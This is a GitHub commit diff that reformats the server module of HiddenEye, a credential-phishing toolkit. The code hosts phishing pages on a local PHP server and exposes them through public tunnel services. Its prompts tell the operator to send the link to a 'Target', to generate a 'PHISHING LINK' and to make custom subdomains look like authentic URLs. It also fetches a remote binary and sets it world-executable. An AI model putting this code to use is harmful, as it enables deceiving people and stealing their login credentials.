Merge pull request #714 from DarkSecDevelopers/restyled/dev

Restyle Merge Dev to Master
This commit is contained in:
sTiKyt 2020-07-13 00:27:08 +03:00 committed by GitHub
commit b43d592da6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
10 changed files with 1137 additions and 696 deletions

View File

@ -4,15 +4,31 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import os
from Defs.ImportManager.unsorted_will_be_replaced import BytesIO, ZipFile, run_command, url_request, run_background_command, wait, ngrok, ngrok_conf, requests, regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path, pathlib_Path
import Defs.ThemeManager.theme as theme
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization import Defs.LocalizationManager.lang_global_usage as global_localization
from Defs.LocalizationManager.helper import print_sorted_as_menu import Defs.ThemeManager.theme as theme
from Defs.ActionManager import simple_informant from Defs.ActionManager import simple_informant
import os from Defs.ImportManager.unsorted_will_be_replaced import BytesIO
from Defs.ImportManager.unsorted_will_be_replaced import CalledProcessError
from Defs.ImportManager.unsorted_will_be_replaced import chdir
from Defs.ImportManager.unsorted_will_be_replaced import check_output
from Defs.ImportManager.unsorted_will_be_replaced import chmod
from Defs.ImportManager.unsorted_will_be_replaced import DEVNULL
from Defs.ImportManager.unsorted_will_be_replaced import ngrok
from Defs.ImportManager.unsorted_will_be_replaced import ngrok_conf
from Defs.ImportManager.unsorted_will_be_replaced import path
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import PIPE
from Defs.ImportManager.unsorted_will_be_replaced import regular_expression
from Defs.ImportManager.unsorted_will_be_replaced import requests
from Defs.ImportManager.unsorted_will_be_replaced import run_background_command
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import url_request
from Defs.ImportManager.unsorted_will_be_replaced import wait
from Defs.ImportManager.unsorted_will_be_replaced import ZipFile
from Defs.LocalizationManager.helper import print_sorted_as_menu
try: try:
os.mkdir("Server/www") os.mkdir("Server/www")
@ -24,7 +40,7 @@ default_palette = theme.default_palette
def server_selection(port): # Question where user must select server def server_selection(port): # Question where user must select server
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
@ -33,41 +49,45 @@ def server_selection(port): # Question where user must select server
print_sorted_as_menu(localization.lang_server_selection["servers_list"]) print_sorted_as_menu(localization.lang_server_selection["servers_list"])
choice = input(global_localization.input_line) choice = input(global_localization.input_line)
choice = choice.zfill(2) choice = choice.zfill(2)
if choice == '00': if choice == "00":
run_command('clear') run_command("clear")
start_localhost(port) # FIXED start_localhost(port) # FIXED
elif choice == '01': elif choice == "01":
run_command('clear') run_command("clear")
start_ngrok(port) # FIXED start_ngrok(port) # FIXED
elif choice == '02': elif choice == "02":
run_command('clear') run_command("clear")
start_serveo(port) # TODO ALMOST FIXED start_serveo(port) # TODO ALMOST FIXED
elif choice == '03': elif choice == "03":
run_command('clear') run_command("clear")
start_localxpose(port) # TODO DOESN'T GET ENTERED CREDENTIALS BACK start_localxpose(port) # TODO DOESN'T GET ENTERED CREDENTIALS BACK
elif choice == '04': elif choice == "04":
run_command('clear') run_command("clear")
start_localtunnel(port, True) start_localtunnel(port, True)
elif choice == '05': elif choice == "05":
run_command('clear') run_command("clear")
start_openport(port) start_openport(port)
elif choice == '06': elif choice == "06":
run_command('clear') run_command("clear")
start_pagekite(port) start_pagekite(port)
else: else:
run_command('clear') run_command("clear")
return server_selection(port) return server_selection(port)
def set_php(host='127.0.0.1', port=80): def set_php(host="127.0.0.1", port=80):
run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL) run_command(["killall", "-2", "php"], stdout=DEVNULL, stderr=DEVNULL)
run_background_command(["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"], stdout=DEVNULL, run_background_command(
stderr=DEVNULL) ["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"],
stdout=DEVNULL,
stderr=DEVNULL,
)
def set_port(port=80): def set_port(port=80):
run_background_command( run_background_command(["fuser", "-k", "{0}/tcp".format(port)],
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL) stdout=DEVNULL,
stderr=DEVNULL)
def start_server(port=80): def start_server(port=80):
@ -75,7 +95,7 @@ def start_server(port=80):
def start_localhost(port): def start_localhost(port):
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
@ -88,9 +108,9 @@ def start_localhost(port):
enter_server_www enter_server_www
set_php(host, port) set_php(host, port)
print(localization.lang_start_localhost[ print(localization.lang_start_localhost["starting_server_on_addr"] +
"starting_server_on_addr"] + "{0}:{1}".format(host, port)) "{0}:{1}".format(host, port))
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
@ -99,14 +119,14 @@ def start_localhost(port):
print(localization.lang_start_localhost["running_localhost_server"]) print(localization.lang_start_localhost["running_localhost_server"])
print(localization.lang_start_localhost["send_this_url_suggestion"]) print(localization.lang_start_localhost["send_this_url_suggestion"])
print(localization.lang_start_localhost[ print(localization.lang_start_localhost["localhost_url"] +
"localhost_url"] + '{0}:{1}\n'.format(host, port)) "{0}:{1}\n".format(host, port))
def start_ngrok(port): def start_ngrok(port):
ngrok_conf.PyngrokConfig(config_path=".config/ngrok.yml") ngrok_conf.PyngrokConfig(config_path=".config/ngrok.yml")
run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL) run_command(["killall", "-2", "ngrok"], stdout=DEVNULL, stderr=DEVNULL)
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
@ -117,12 +137,13 @@ def start_ngrok(port):
wait(2) wait(2)
ngrok_tunnels = ngrok.get_tunnels() ngrok_tunnels = ngrok.get_tunnels()
url = ngrok_tunnels[0].public_url url = ngrok_tunnels[0].public_url
if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None: if regular_expression.match("https://[0-9a-z]*\.ngrok.io",
url) is not None:
print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_ngrok["send_this_url_suggestion"])
print(localization.lang_start_localhost[ print(localization.lang_start_localhost["localhost_url"] +
"localhost_url"] + '127.0.0.1:' + port) "127.0.0.1:" + port)
print(localization.lang_start_ngrok[ print(localization.lang_start_ngrok["ngrok_url"] + url +
"ngrok_url"] + url + default_palette[4]) default_palette[4])
break break
@ -134,28 +155,42 @@ def start_serveo(port):
return True return True
def random(port): def random(port):
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_random_server"]) print(localization.lang_start_serveo["serveo_random_server"])
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', run_command(
'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL) [
"ssh",
"-o",
"StrictHostKeyChecking=no",
"-o",
"ServerAliveInterval=60",
"-R",
"localhost:{0}".format(port),
"serveo.net",
">",
"link.url",
],
stdout=DEVNULL,
stderr=DEVNULL,
)
wait(8) wait(8)
try: try:
output = check_output( output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) shell=True)
url = output.decode("utf-8") url = output.decode("utf-8")
print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost[ print(localization.lang_start_localhost["localhost_url"] +
"localhost_url"] + '127.0.0.1:' + port) "127.0.0.1:" + port)
print(localization.lang_start_serveo[ print(localization.lang_start_serveo["serveo_url"] + url +
"serveo_url"] + url + default_palette[4]) default_palette[4])
except CalledProcessError: except CalledProcessError:
wait(4) wait(4)
run_command('clear') run_command("clear")
return random(port) return random(port)
def custom(port): def custom(port):
@ -164,37 +199,52 @@ def start_serveo(port):
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["serveo_custom_server"])
print(localization.lang_start_serveo[ print(localization.
"make_url_simmilar_to_real_suggestion"]) lang_start_serveo["make_url_simmilar_to_real_suggestion"])
print(localization.lang_start_serveo["insert_custom_subdomain"]) print(localization.lang_start_serveo["insert_custom_subdomain"])
lnk = input(global_localization.input_line) lnk = input(global_localization.input_line)
run_background_command( run_background_command(
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60', [
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, "ssh",
stderr=DEVNULL) "-o",
"StrictHostKeyChecking=no",
"-o",
"ServerAliveInterval=60",
"-o",
"ServerAliveCountMax=60",
"-R",
"{0}:80:localhost:{1}".format(lnk, port),
"serveo.net",
">",
"link.url",
],
stdout=DEVNULL,
stderr=DEVNULL,
)
lnk += ".serveousercontent.com" lnk += ".serveousercontent.com"
wait(7) wait(7)
try: try:
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["serveo_custom_server"])
print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost[ print(localization.lang_start_localhost["localhost_url"] +
"localhost_url"] + '127.0.0.1:' + port) "127.0.0.1:" + port)
print(localization.lang_start_serveo[ print(localization.lang_start_serveo["serveo_url"] + lnk +
"serveo_url"] + lnk + default_palette[4]) default_palette[4])
print("\n") print("\n")
except CalledProcessError: except CalledProcessError:
print(localization.lang_start_serveo["failed_to_get_domain"]) print(localization.lang_start_serveo["failed_to_get_domain"])
print(localization.lang_start_serveo["suggestion_to_fix_issue"]) print(localization.lang_start_serveo["suggestion_to_fix_issue"])
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"]) print(localization.
lang_start_serveo["you_can_try_to_select_other_domain"])
wait(4) wait(4)
run_command('clear') run_command("clear")
return custom(port) return custom(port)
if is_online: if is_online:
@ -207,20 +257,20 @@ def start_serveo(port):
print(localization.lang_start_serveo["choose_type_of_url"]) print(localization.lang_start_serveo["choose_type_of_url"])
print_sorted_as_menu(localization.lang_start_serveo["url_types"]) print_sorted_as_menu(localization.lang_start_serveo["url_types"])
choice = input(global_localization.input_line) choice = input(global_localization.input_line)
run_command('clear') run_command("clear")
if choice == '1': if choice == "1":
custom(port) custom(port)
elif choice == '2': elif choice == "2":
random(port) random(port)
else: else:
run_command('clear') run_command("clear")
return start_serveo(port) return start_serveo(port)
else: else:
print(localization.lang_start_serveo["serveo_is_down"]) print(localization.lang_start_serveo["serveo_is_down"])
choice = input("HiddenEye >> ") choice = input("HiddenEye >> ")
choice = choice.lower() choice = choice.lower()
if choice == 'y': if choice == "y":
return server_selection(port) return server_selection(port)
else: else:
return start_serveo(port) return start_serveo(port)
@ -228,206 +278,256 @@ def start_serveo(port):
def start_localxpose(port): def start_localxpose(port):
localxpose_file = "External_Software/loclx" localxpose_file = "External_Software/loclx"
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip" localxpose_url = (
"https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
)
if path.isfile(localxpose_file): if path.isfile(localxpose_file):
pass pass
else: else:
if simple_informant.check_platform("system") == "Linux" and simple_informant.check_platform("architecture" == "x86_64"): if simple_informant.check_platform(
"system") == "Linux" and simple_informant.check_platform(
"architecture" == "x86_64"):
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-amd64.zip" localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-amd64.zip"
elif simple_informant.check_platform("system") == "Linux" and simple_informant.check_platform("architecture" == "aarch64"): elif simple_informant.check_platform(
"system") == "Linux" and simple_informant.check_platform(
"architecture" == "aarch64"):
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip" localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
with url_request.urlopen(localxpose_url) as loclxzip: with url_request.urlopen(localxpose_url) as loclxzip:
with ZipFile(BytesIO(loclxzip.read())) as zip_file: with ZipFile(BytesIO(loclxzip.read())) as zip_file:
zip_file.extractall("External_Software") zip_file.extractall("External_Software")
chmod('External_Software/loclx', 0o777) chmod("External_Software/loclx", 0o777)
def random(port): def random(port):
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
print(localization.lang_start_localxpose["localxpose_random_server"]) print(localization.lang_start_localxpose["localxpose_random_server"])
run_command(['External_Software/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL) run_command(
[
"External_Software/loclx",
"tunnel",
"http",
"--to",
":{0}".format(port),
">",
"link.url",
],
stdout=DEVNULL,
stderr=DEVNULL,
)
try: try:
output = check_output( output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) shell=True)
url = output.decode('utf-8') url = output.decode("utf-8")
print( print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}".format( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}"
default_palette[0], default_palette[4], default_palette[3], port, url) + "{0}".format( .format(
default_palette[4])) default_palette[0],
default_palette[4],
default_palette[3],
port,
url,
) + "{0}".format(default_palette[4]))
print("\n") print("\n")
except CalledProcessError: except CalledProcessError:
wait(4) wait(4)
run_command('clear') run_command("clear")
return random(port) return random(port)
def custom(port): def custom(port):
print(''' print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
.format(default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2])) run_command(
run_command('./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk)) "./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
% (port, lnk))
wait(7) wait(7)
try: try:
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
shell=True)
url = output.decode("utf-8") url = output.decode("utf-8")
run_command('clear') run_command("clear")
print(''' print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
print( print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}".format( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}"
default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format( .format(default_palette[0], default_palette[2],
default_palette[4])) default_palette[3], port) + url +
"{0}".format(default_palette[4]))
print("\n") print("\n")
except CalledProcessError: except CalledProcessError:
print( print(
'''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n'''.format( """\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n"""
default_palette[0], default_palette[4])) .format(default_palette[0], default_palette[4]))
wait(4) wait(4)
run_command('clear') run_command("clear")
return custom(port) return custom(port)
print(''' print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n"""
default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0],
default_palette[2]))
print( print(
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format( "\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}"
default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])) print(
run_command('clear') "\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"
if choice == '1': .format(default_palette[0], default_palette[2]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0],
default_palette[2]))
run_command("clear")
if choice == "1":
custom(port) custom(port)
elif choice == '2': elif choice == "2":
random(port) random(port)
else: else:
run_command('clear') run_command("clear")
return start_localxpose(port) return start_localxpose(port)
def start_localtunnel(port, npm): def start_localtunnel(port, npm):
run_command('clear') run_command("clear")
print(''' print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".
format(default_palette[0], default_palette[2]))
print( print(
"\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0], "\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL"
default_palette[2])) .format(default_palette[0], default_palette[2]))
print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format( s = input("\n{0}(Localtunnel/Subdomain)> {1}".format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
s = input('\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
try: try:
run_command('{0}lt -p '.format('' if npm else 'Server/') + run_command("{0}lt -p ".format("" if npm else "Server/") + port +
port + ((' -s ' + s) if s != '' else s) + ' > link.url &') ((" -s " + s) if s != "" else s) + " > link.url &")
wait(3) wait(3)
run_command('clear') run_command("clear")
print(''' print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
print( print(
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}".format( "\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}"
default_palette[0], default_palette[2], default_palette[3], port, .format(
str(check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)).strip("b ' \ n r"))) default_palette[0],
default_palette[2],
default_palette[3],
port,
str(
check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
shell=True)).strip("b ' \ n r"),
))
except CalledProcessError: except CalledProcessError:
run_command('clear') run_command("clear")
print(''' print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
print('{0}error[invalid/preoccupied]{0}'.format(default_palette[0])) print("{0}error[invalid/preoccupied]{0}".format(default_palette[0]))
start_localtunnel(port, npm) start_localtunnel(port, npm)
def start_openport(port): def start_openport(port):
run_command('clear') run_command("clear")
def manage_url(port): def manage_url(port):
run_command('rm output.txt > /dev/null 2>&1') run_command("rm output.txt > /dev/null 2>&1")
run_command('openport -K && openport %s > output.txt &' % (port)) run_command("openport -K && openport %s > output.txt &" % (port))
print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0], print(
default_palette[4])) "{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait."
wait(20) # Sleep time is important as the openport command takes some time to give response link. .format(default_palette[0], default_palette[4]))
# Sleep time is important as the openport command takes some time to give response link.
wait(20)
run_command( run_command(
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above). 'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0], ) # Taking out the neccesary verification link from output txt file of openport (above).
default_palette[4])) print(
with open('openport.txt') as f: "{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link..."
.format(default_palette[0], default_palette[4]))
with open("openport.txt") as f:
read_data = f.read() read_data = f.read()
if 'openport.io/l/' in read_data: if "openport.io/l/" in read_data:
print('{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4])) print("{0}[{1}*{0}] {1}Got Activation Link...".format(
default_palette[0], default_palette[4]))
else: else:
print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0], print(
default_palette[4])) "{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... "
output = open('output.txt', 'r') .format(default_palette[0], default_palette[4]))
output = open("output.txt", "r")
output = output.read() output = output.read()
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output)) print("{0}[{1}!{0}] {1}Openport Error:\n\n{2}".format(
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0], default_palette[0], default_palette[4], output))
default_palette[4])) input("\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)".
format(default_palette[0], default_palette[4]))
server_selection(port) server_selection(port)
urlFile = open('openport.txt', 'r') urlFile = open("openport.txt", "r")
urltoverify = urlFile.read().strip() urltoverify = urlFile.read().strip()
print( print(
'{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n'.format(default_palette[0], "{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n"
default_palette[4])) .format(default_palette[0], default_palette[4]))
print('{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} '.format(default_palette[0], default_palette[4], print("{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format(
urltoverify)) default_palette[0], default_palette[4], urltoverify))
url = input('\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} '.format(default_palette[0], url = input(
default_palette[4])) "\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ".
format(default_palette[0], default_palette[4]))
wait(4) wait(4)
run_command('clear') run_command("clear")
print(''' print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
